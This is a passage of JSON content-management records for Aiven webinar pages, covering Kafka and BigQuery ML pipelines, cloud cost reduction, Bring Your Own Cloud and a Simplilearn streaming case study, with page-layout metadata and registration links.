{"__i18n_lang":"en","_createdAt":"2023-03-15T18:39:26Z","_id":"be343234-d2f4-4e61-bcf8-fea176ef197c","_rev":"rmwlP4nleGzuGoL3VujFTu","_type":"webinar","_updatedAt":"2023-05-15T13:18:44Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"74f38b5e700f","_ref":"c90478e7-f28b-4cbf-8afe-8634352aeac8","_type":"reference"},{"_key":"2a75c6249e02","_ref":"899a955a-c0a0-4346-9586-e392438a6d8f","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"8a58f65a91e6","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"fd612499ef4e","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"371c50428557","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"2c0cd5bdc9ec","_ref":"2CKVoUxT8ZzGnLm7Sr23gu","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"You might be interested in"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2022-11-16/lmv1b","iframeTitle":"Webinar Event streaming platforms","title":"Watch on demand"},"subtitle":[{"_key":"078f8b38acec","_type":"block","children":[{"_key":"f9134e739da90","_type":"span","marks":[],"text":"In this webinar, Aiven and Google Cloud team up to frame the need for real-time analytics and machine learning pipelines to support:"}],"markDefs":[],"style":"normal"},{"_key":"e0a59e80ef00","_type":"block","children":[{"_key":"1a49e9bc36c5","_type":"span","marks":[],"text":"Use cases around IoT"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"42660360b654","_type":"block","children":[{"_key":"cc07ff1dbda3","_type":"span","marks":[],"text":"Predictive maintenance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd80184b4aab","_type":"block","children":[{"_key":"d234ff1bd21a","_type":"span","marks":[],"text":"Customer experience and more"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"09cde1aaec8a","_type":"block","children":[{"_key":"072a2374bd48","_type":"span","marks":[],"text":"The complete MLOps lifecycle will be explained and how pipelines driven by Aiven (Kafka, Flink, Opensearch, Cassandra) feed into the Google/GCP ML Ecosystem (BigQuery ML, Vertex AI)."}],"markDefs":[],"style":"normal"},{"_key":"7a22677e257d","_type":"block","children":[{"_key":"e51198ac6ffb","_type":"span","marks":[],"text":"A quick demo will also be shared on how to set up services in Aiven, connect them to BigQuery, and begin using BQML to generate prediction models."}],"markDefs":[],"style":"normal"}],"summary":"The complete MLOps lifecycle will be discussed, and how pipelines driven by Aiven (Kafka, Flink, Opensearch, Cassandra) feed into the Google/GCP ML Ecosystem (BigQuery ML, Vertex AI). ","thankyouContent":[{"_key":"fbd89b4997a7","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Event streaming platforms","text":[{"_key":"44529d336668","_type":"block","children":[{"_key":"d73e0f88fab80","_type":"span","marks":[],"text":"During this webinar, David Esposito shares lessons learned from event streaming use cases in every industry over a global customer base:"}],"markDefs":[],"style":"normal"},{"_key":"43220a8cd35e","_type":"block","children":[{"_key":"8609a9f349ef0","_type":"span","marks":[],"text":"How to balance the total cost of ownership (TCO) of streaming solutions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df011f9fb5ca","_type":"block","children":[{"_key":"145f150a75df0","_type":"span","marks":[],"text":"How to meet your critical recovery time objectives when choosing a streaming solution"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3cbd098bca3f","_type":"block","children":[{"_key":"27e9d1eadd110","_type":"span","marks":[],"text":"What does that mean for an engineering team’s on-call schedule?"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"4 ways to think like a software architect while evaluating solutions","variant":"mediaLeft","ytId":"5Y4RENkDypY"}],"title":"Setting the stage with Aiven for Apache Kafka and Google BigQuery ML.","ytId":"Dp7OS_xLdDA"},"publishedAt":"2023-03-16T20:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"176559c61bfb","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"189ed1b11393","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"9852176b9def","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"The complete MLOps lifecycle will be discussed, and how pipelines driven by Aiven (Kafka, Flink, Opensearch, Cassandra) feed into the Google/GCP ML Ecosystem (BigQuery ML, Vertex AI). ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5dd79061ff5ad5d9ef7def695929d3bc91e97c04-2667x1500-jpg","_type":"reference"}},"metaTitle":"Aiven for Apache Kafka and BigQuery ML: Setting the Stage"},"slug":{"_type":"slug","current":"/webinar/setting-the-stage-with-Aiven-for-Apache-Kafka-and-Google-BigQuery-ML"}} {"__i18n_lang":"en","_createdAt":"2023-02-23T08:26:11Z","_id":"5fa83287-90b2-4e44-bbb8-62d041fa6568","_rev":"rmwlP4nleGzuGoL3VuuYt2","_type":"webinar","_updatedAt":"2023-05-15T13:41:35Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"f055a82ed448","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"822f04193249","_ref":"f6ba67b5-89c5-417f-a1ac-56ea55c20650","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"withBio"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"d5d09fb5cc1b","_type":"block","children":[{"_key":"317880099bc2","_type":"span","marks":[],"text":"What is infrastructure? You may think of public transport and utilities, or perhaps networking and databases. All of those are infrastructure, and they actually have quite a bit in common. If words like “expensive”, “inconvenient” and “too slow” now come to mind, these are sad truths about buses, but your analytics pipelines could be running to a better schedule! Data is arriving faster and in greater quantities than ever before, from everywhere, all the time—we simply cannot afford to wait."}],"markDefs":[],"style":"normal"},{"_key":"6b2c320f0209","_type":"block","children":[{"_key":"454898de6028","_type":"span","marks":[],"text":"In this session, we will use live data feeds from Helsinki’s transport network to show how a complete open source data pipeline—from collection to insights—can be created in a matter of minutes using infrastructure-as-code and visualization tools you’re already familiar with. If you’re a software developer, platform engineer, data engineer, or analyst, we hope you’ll take away some tips and tricks to relieve the toil and frustration of your data infrastructure. (But sorry, we can’t fix the buses and trains…)"}],"markDefs":[],"style":"normal"},{"_key":"6b706a0392e2","_type":"block","children":[{"_key":"b3a2fef75c91","_type":"span","marks":["strong"],"text":"Related resources"}],"markDefs":[],"style":"normal"},{"_key":"b99818b3e9a1","_type":"block","children":[{"_key":"3d1fc1ca1289","_type":"span","marks":["7b5102ae8664"],"text":"Related blog post"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7b5102ae8664","_type":"link","href":"https://aiven.io/blog/build-a-real-time-analytics-pipeline"}],"style":"normal"},{"_key":"326ba572e195","_type":"block","children":[{"_key":"a226445793a6","_type":"span","marks":["6ed466bb9e1c"],"text":"See how to build all this in Github using Terraform"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6ed466bb9e1c","_type":"link","href":"https://github.com/dbeech/big-data-ldn-demo"}],"style":"normal"}],"summary":"In this session, we will use live data feeds from Helsinki’s transport network to show how a complete open source data pipeline using infrastructure-as-code.","title":"How to build data analytics pipelines faster than your morning commute","ytId":"8heId4kFPJ0"},"publishedAt":"2022-09-29T07:25:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"c0d74cebb67f","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"2b5357304073","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"58a0213a04d0","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"In this session, we will use live data feeds from Helsinki’s transport network to show how a complete open source data pipeline using infrastructure-as-code.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ae0d544078115da811da8136769827a6d8e7c35a-1280x720-jpg","_type":"reference"}},"metaTitle":"Build Data Analytics Pipelines Faster: Aiven Webinar"},"slug":{"_type":"slug","current":"/webinar/how-to-build-data-analytics-pipelines-faster-than-your-morning-commute"}} {"__i18n_lang":"en","_createdAt":"2023-05-09T10:46:37Z","_id":"0a602320-c997-44ea-a9f4-a095c53241e6","_rev":"YFURCCIYWC1zW2kvzgBWeF","_type":"webinar","_updatedAt":"2023-08-09T06:52:06Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"01d9c95e7a16","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","avatars":[{"_key":"81f5f2496dfc","_ref":"e68339aa-ce0d-476f-9450-7f5aec2819de","_type":"reference"},{"_key":"f76709892366","_ref":"221ba44a-9a77-4ee5-a883-63cdfb045660","_type":"reference"},{"_key":"5d833e114adf","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"withBio"},{"_key":"177f21bdd3e9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"b0f413f07b0f","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/","title":"Learn how to cut down on your cloud spend"},"image":{"_type":"mainImage","asset":{"_ref":"image-1eefb382b6c9bd7c9eac32d7fb44081cc8373c96-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"ba066c502452","_type":"block","children":[{"_key":"ed1e3c1958cc0","_type":"span","marks":[],"text":"At Aiven, we have worked extensively with our customers to maximize their cloud ROI, leveraging our open source data platform to streamline their cloud costs without sacrificing performance or uptime."}],"markDefs":[],"style":"normal"}],"tagline":"Page","title":"Optimize your cloud costs with Aiven’s data platform","variant":"default"},{"_key":"89a2a1afe1a5","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"39e755be8b61","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"104bca28bec6","_type":"block","children":[{"_key":"cd11650cd0ba0","_type":"span","marks":[],"text":"As you move more of your workloads to the cloud, "},{"_key":"f0de2bdd2f3b","_type":"span","marks":["f7dee35e2e6c"],"text":"cloud infrastructure costs "},{"_key":"1ce3c1ce6a23","_type":"span","marks":[],"text":"can quickly become a significant expense. To efficiently and successfully run your applications in the cloud, it’s crucial to take a look at your overall TCO (Total Cost of Ownership) from multiple lenses."}],"markDefs":[{"_key":"f7dee35e2e6c","_type":"internalLink","internalLink":{"_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}}],"style":"normal"},{"_key":"7a7997fcda33","_type":"block","children":[{"_key":"e2ebf65825ee0","_type":"span","marks":[],"text":"In this fireside chat, "},{"_key":"e28975da4add","_type":"span","marks":["strong"],"text":"Mike Zimberg, CTO at "},{"_key":"e2ebf65825ee1","_type":"span","marks":["strong","a44f3583c426"],"text":"Digital Asset Research"},{"_key":"e2ebf65825ee2","_type":"span","marks":["strong"],"text":" "},{"_key":"74070eec44cb","_type":"span","marks":[],"text":"shares how they achieved a 99.99% uptime, "},{"_key":"178ef8cdf6d8","_type":"span","marks":["strong"],"text":"while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x."}],"markDefs":[{"_key":"a44f3583c426","_type":"link","href":"https://aiven.io/case-studies/digital-asset-research-boosts-resiliency-with-aiven"}],"style":"normal"},{"_key":"59465638047a","_type":"block","children":[{"_key":"37cd878cbf600","_type":"span","marks":[],"text":"Watch this session to learn how to optimize your cloud infrastructure spend for long-term success, reduce your TCO, and ensure the same level of uptime, security, and resiliency."}],"markDefs":[],"style":"normal"}],"summary":"In this live fireside chat, Mike Zimberg, CTO at Digital Asset Research shares how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x.","title":"Maximize cloud efficiency: how to cut costs and keep uptime strong ","ytId":"HhHgq_x0gQA"},"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"ctaText":"Watch webinar recording"},"publishedAt":"2023-05-23T09:35:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"da3db817ea3e","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"1ec3c695aef1","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"67f5c91d1444","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"d6fc76fdb956","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Fireside chat: Mike Zimberg, CTO at Digital Asset Research will share how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x.\n\n\n","metaImage":{"_type":"mainImage","alt":"How to cut cloud costs and keep uptime strong ","asset":{"_ref":"image-cc4e0471959e9d1d9922337d9e1bf407602296ad-5000x2617-png","_type":"reference"}},"metaTitle":"How to cut cloud costs and keep uptime strong "},"slug":{"_type":"slug","current":"/webinar/cost-optimization-digital-asset-research"}} {"__i18n_lang":"en","_createdAt":"2023-05-11T18:29:26Z","_id":"8884405a-0060-44b1-a6af-d5a255432faf","_rev":"3j6PNipGH9NrGWcobr1rFA","_type":"webinar","_updatedAt":"2023-06-01T07:33:23Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":true,"addSpaceTop":false,"align":"left","avatars":[{"_key":"b44e451e3155","_ref":"df2f55c4-4bde-4170-a578-f6939fff2f79","_type":"reference"},{"_key":"6ef3b6fe1eca","_ref":"6e89817e-c204-41c6-baf1-47fccad2cdf5","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"5c43113633a5","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"784656f5-b303-45a7-a1ca-4a6b0b195d60","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"vertical"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-11/sb521","iframeTitle":"Webinar What’s new with Aiven","title":"Register now"},"subtitle":[{"_key":"b971ccf079db","_type":"block","children":[{"_key":"113b58a223b8","_type":"span","marks":[],"text":"Join us for an amazing opportunity to explore the latest innovations in Aiven’s open source data platform! Aiven is thrilled to introduce our exciting new products and features, including Aiven for Flink, which provides cutting-edge real-time data analytics, Aiven for Clickhouse, designed to meet all of your data warehousing needs, and Klaw which is Aiven’s first acquisition that design to provide data governance to Kafka workflow.\n\nThis is your chance to hear directly from "},{"_key":"d57d0034ae6a","_type":"span","marks":["strong"],"text":"Jonah Kowall, the VP of Product Management at Aiven"},{"_key":"4b828deb749c","_type":"span","marks":[],"text":", as he takes you on a journey through our dynamic platform and highlights the latest advancements we've made in the past six months. Not only will you get an exclusive look at all the exciting new features, but you'll also discover the contributions Aiven has made to open source communities like Kafka, OpenSearch, and PostgreSQL.\n\nDon't miss out on this opportunity to see what Aiven can do for you and your business. Join us for this engaging webinar and discover how our Aiven can take your open source data platform to the next level!"}],"markDefs":[],"style":"normal"}],"summary":"Explore the latest innovations in Aiven’s open source data platform covering exciting new products and features, including Aiven for Flink, Aiven for Clickhouse and Klaw a data governance to Kafka workflow.","thankyouContent":[{"_key":"97b2adb1f19d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9c4483be7049","_type":"block","children":[{"_key":"0c8dc81711e0","_type":"span","marks":[],"text":"Thank you for registering for the webinar "},{"_key":"9100550809d3","_type":"span","marks":["strong"],"text":"What’s new with Aiven - Trusted open source data platform for everyone"},{"_key":"1aaf9c3ca3b5","_type":"span","marks":[],"text":". You will get an email confirmation soon."}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"oneColumn"},{"_key":"d5e36a8703fc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"text":[{"_key":"4aa53c6f69f9","_type":"block","children":[{"_key":"0363be47db0e","_type":"span","marks":[],"text":"We provide a free 30-day trial, give you $300 credit to play with, and unrestricted access to our complete range of open source services."}],"markDefs":[],"style":"normal"},{"_key":"ecec3338fb05","_type":"block","children":[{"_key":"9b05a1bc685e","_type":"span","marks":[],"text":"When you’ve finished the trial period, you only pay for what you use. There are no hidden charges, and you can shut down and spin up clusters, add services, or change providers at the click of a button."}],"markDefs":[],"style":"normal"}],"title":"Everything you need – for free","variant":"mediaLeft","ytId":"FJxVeA5ORY0"}],"title":" What’s new with Aiven - Trusted open source data platform for everyone","ytId":"J-xe17O53Bc"},"publishedAt":"2023-05-30T09:46:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"9057b2fc5a41","_ref":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_type":"tag"},{"_key":"08168aa3fad3","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"This is your opportunity to see how Aiven’s open source data platform can take your business to the next level.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e9f838cb8dd3bfa82ce8e4b7ab052f6d02ec19b3-2500x1308-png","_type":"reference"}},"metaTitle":"Trusted open source data platform for everyone | Aiven Webinar"},"slug":{"_type":"slug","current":"/webinar/aiven-trusted-open-source-data-platform-for-everyone"}} {"__i18n_lang":"en","_createdAt":"2023-05-31T08:17:13Z","_id":"12782707-33fe-4a65-9171-84db5d5c6139","_rev":"FJE9FJz5NeK3Yo2P5QfOgf","_type":"webinar","_updatedAt":"2023-06-15T20:40:51Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"26e71e39547d","_ref":"899a955a-c0a0-4346-9586-e392438a6d8f","_type":"reference"},{"_key":"ded9881a0284","_ref":"80c5dbb7-d32e-47b8-a4b3-33c16dc0508c","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"97ac12ab61a4","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"e97321255b33","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"5cd3a336ae2e","_type":"block","children":[{"_key":"18b8a48e39830","_type":"span","marks":[],"text":"The Aiven Platform is more than a collection of open source services for streaming, storing and analyzing data. The platform ensures that all services run reliably and securely in the clouds of your choice, are observable, and can easily be integrated with each other and with external 3rd party tools."}],"markDefs":[],"style":"normal"}],"tagline":"Platform","title":"A unified platform to manage and govern","variant":"default"},{"_key":"9af02d727689","_ref":"b93ab908-1136-4b9f-bb6a-f272689ea45d","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-31/sgndj","iframeTitle":"Register Webinar BYOC","title":"Register for June 15th at 9 AM ET | 3 PM CET"},"subtitle":[{"_key":"3133f911d387","_type":"block","children":[{"_key":"e5cf542f095c","_type":"span","marks":[],"text":"Learn how to get the most out of your public cloud infrastructure spend without losing control of your data. In this webinar,"},{"_key":"f9e54a0bbd85","_type":"span","marks":["strong"],"text":" Chris Butler, Senior Solution Architect"},{"_key":"d305b21dd478","_type":"span","marks":[],"text":" at Aiven, explains how Aiven’s Bring Your Own Cloud (BYOC) works and what are the benefits it provides.\n\nBYOC lets you deploy Aiven open source managed data services directly to your AWS, Google Cloud, or Microsoft Azure account. You can use Reserved Instances, Cost Savings plans, Committed Use Discounts, and several other billing and pricing features to save money on compute, networking and storage infrastructure costs.\n\nWith BYOC, your data always stays in your own cloud infrastructure giving you control of the data residency and allowing you to layer additional security controls on top of Aiven’s existing controls and compliance."}],"markDefs":[],"style":"normal"}],"summary":"Learn how to get the most out of your public cloud infrastructure spend without losing control of your data. ","thankyouContent":[{"_key":"5ef60e1edd8c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Thank you for registering ","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Read blog post"},"rounded":false,"text":[{"_key":"7d9cd3b8510d","_type":"block","children":[{"_key":"8307cf7cdc62","_type":"span","marks":[],"text":"You should receive an invitation soon! "}],"markDefs":[],"style":"normal"},{"_key":"5275c87670b4","_type":"block","children":[{"_key":"0af8c48edc10","_type":"span","marks":[],"text":"Meanwhile, learn how to optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","variant":"mediaLeft"}],"title":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud","ytId":"ChnEmXI1gNQ"},"publishedAt":"2023-05-31T10:26:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"03eeda22d632","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"63d7f2808d36","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Join us to learn how to get the most out of your public cloud infrastructure spend without losing control of your data. In this webinar, Chris Butler, Senior Solution Architect at Aiven, explains how Aiven’s Bring Your Own Cloud (BYOC) works and what are the benefits it provides.","metaImage":{"_type":"mainImage","alt":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"metaTitle":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud"},"slug":{"_type":"slug","current":"/webinar/byoc"}} {"__i18n_lang":"en","_createdAt":"2023-03-16T05:21:21Z","_id":"2cb6967c-d1c7-4ddb-a620-5ca92f843ee9","_rev":"dsxJlHxlnt5nZt5n1x0Ewc","_type":"webinar","_updatedAt":"2023-06-08T07:26:39Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"5ccdd787868d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"30a2b81cc80e","_ref":"c6ce98ee-1e41-4e2b-878d-6702e1226dd3","_type":"reference"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Let us help you scale"},"rounded":false,"subtitle":[{"_key":"e6164e0d01cd","_type":"block","children":[{"_key":"6d8821ab60b50","_type":"span","marks":[],"text":"Simplilearn is one of the world’s leading certification training providers for key IT industry skills. As their number of course offerings and learners accessing their systems increased, they realized that their existing infrastructure was not ready to power the growing demand. They needed an event streaming solution.\n\n"},{"_key":"6d8821ab60b51","_type":"span","marks":["strong"],"text":"To make their product scalable, user-friendly and reliable, this solution needed to:"}],"markDefs":[],"style":"normal"},{"_key":"319946e1b8c0","_type":"block","children":[{"_key":"e0732004e1d40","_type":"span","marks":[],"text":"Be decoupled to ensure outages would not prevent users from progressing with their learning goals"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"42cafc3c437d","_type":"block","children":[{"_key":"1fa69dd863840","_type":"span","marks":[],"text":"Support a high volume of real-time user metrics without impacting performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7bf4311a407c","_type":"block","children":[{"_key":"28f357248be60","_type":"span","marks":[],"text":"Gather data in real time to improve user experience and facilitate more data-driven decisions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"de63c12f7310","_type":"block","children":[{"_key":"335cc27c95e60","_type":"span","marks":[],"text":"Be resilient to failures without any loss of data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Event streaming solution"},{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"avatars":[{"_key":"b19eb62f8212","_ref":"6c7e2eea-f29b-47fa-80bc-a96be82a28bb","_type":"reference"},{"_key":"d7f469b689d4","_ref":"207b429c-5f05-4328-b80d-ca1671d5c636","_type":"reference"},{"_key":"0808640edbd2","_ref":"418d85f7-76f3-4318-858b-e0cb066f7fdb","_type":"reference"},{"_key":"ab4cedf072e1","_ref":"bef9599d-339b-4d09-9501-650f56ff9117","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Presented by","variant":"withBio"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2022-11-16/lmv1b","iframeTitle":"Webinar Event streaming platforms","title":"Watch on demand"},"subtitle":[{"_key":"8b6ffd420c17","_type":"block","children":[{"_key":"71ffa223d4b90","_type":"span","marks":[],"text":"Simplilearn is one of the world’s leading certification training providers for key IT industry skills. As their number of course offerings and learners accessing their systems increased, they realized that their existing infrastructure was not ready to power the growing demand. They needed an event streaming 